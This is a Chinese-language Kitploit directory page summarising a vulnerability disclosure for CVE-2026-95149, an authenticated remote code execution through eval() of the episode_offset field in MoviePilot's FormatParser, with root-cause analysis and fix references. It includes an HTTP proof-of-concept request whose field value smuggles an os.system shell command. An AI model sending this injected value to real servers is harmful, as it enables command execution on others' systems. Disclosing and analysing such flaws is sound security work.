Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-95149 — 针对 CVE-2026-95149 的概念验证与根本原因分析:该漏洞是 MoviePilot 的 FormatParser 中通过 episode_offset 的 eval() 注入实现的一个经过身份验证的 RCE,包含 HTTP PoC 和修复细节。 | Kitploit
工具/GitHubGitHub/reputati0n/cve-2026-95149
漏洞分析代码分析漏洞利用Web应用程序漏洞利用
GitHubreputati0n/cve-2026-95149

CVE-2026-95149

针对 CVE-2026-95149 的概念验证与根本原因分析:该漏洞是 MoviePilot 的 FormatParser 中通过 episode_offset 的 eval() 注入实现的一个经过身份验证的 RCE,包含 HTTP PoC 和修复细节。

查看仓库
28天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-95149 — 通过 episode_offset 中的 eval() 注入实现认证后 RCE(MoviePilot FormatParser)

字段值
CVE IDCVE-2026-95149
产品MoviePilot(jxxghp/MoviePilot)
受影响版本<= v3.0.0
修复版本v3 分支 — 提交 65b9c777de9194e40ba29dc17345afc5b4b4b0ba
严重程度高
攻击向量远程,通过 HTTP API
所需权限已认证的管理用户(管理员或管理角色账户)
用户交互无
报告日期2026-09-11
公开议题jxxghp/MoviePilot#6644

根本原因

FormatParser 接受任意字符串,并且仅根据其中是否包含 "EP" 进行分支判断——它从不验证字符串的 剩余部分是否为格式正确的算术表达式:

elif "EP" in offset:
    self.__offset = offset

随后多个下游分支通过文本替换构建 Python 表达式并直接对其求值:

start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part

int(...) 包装仅约束表达式的返回值;它并不能阻止求值过程中发生的副作用。因此,载荷中嵌入的任何函数调用、导入或属性访问都会在最终值被强制转换为 int 之前执行。

为什么显而易见的缓解措施不起作用

一种常见的缓解尝试是将载荷乘以零,使算术结果保持为数值:

EP+__import__('os').system('touch /tmp/success')*0

这仍然有效。副作用(启动命令)发生在求值期间,远早于最终加法被强制转换为 int,因此攻击者最终既获得了命令执行,又获得了一个能通过 int() 类型检查的值。

POC

POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br

{
  "fileitem": {
    "storage": "local",
    "path": "/configured/media/file.mkv",
    "type": "file",
    "name": "file.mkv"
  },
  "episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}

在存在漏洞的实例上,/tmp/success 会由 MoviePilot 服务进程创建。如果 API 调用未返回 200,int() 转换将抛出异常——但注入的命令已经执行,因此请求的结果与漏洞利用无关。

参考资料

  • 上游议题:https://github.com/jxxghp/MoviePilot/issues/6644
  • 修复提交:https://github.com/jxxghp/MoviePilot/commit/65b9c777de9194e40ba29dc17345afc5b4b4b0ba
  • 存在漏洞的代码路径:app/application/formatting.py(v3.0.0 中的第 102 行和第 184 行)
  • 可达路径:app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302
下载工具